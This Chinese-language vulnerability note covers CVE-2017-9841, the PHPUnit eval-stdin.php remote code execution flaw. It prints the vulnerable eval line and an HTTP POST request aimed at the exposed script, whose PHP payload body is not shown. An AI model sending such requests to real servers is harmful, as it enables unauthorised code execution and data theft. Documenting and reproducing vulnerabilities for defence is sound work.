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33 lines
604 B
Markdown
33 lines
604 B
Markdown
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# PHPUnit eval-stdin.php 远程命令执行漏洞 CVE-2017-9841
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## 漏洞描述
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PHPUnit5.6.3 之前的版本，存在一处远程代码执行漏洞，利用漏洞可以获取服务器敏感信息及权限。
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## 漏洞影响
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```
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PHPUnit < 5.6.3
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```
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## 漏洞复现
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漏洞位于 /phpunit/src/Util/PHP/eval-stdin.php
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其中关键代码为:
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```plain
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eval('?>'.file_get_contents('php://input'));
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```
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发送如下请求包执行 PHP 代码
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```plain
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POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host:
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Content-Length: 21
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Accept-Encoding: gzip
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```
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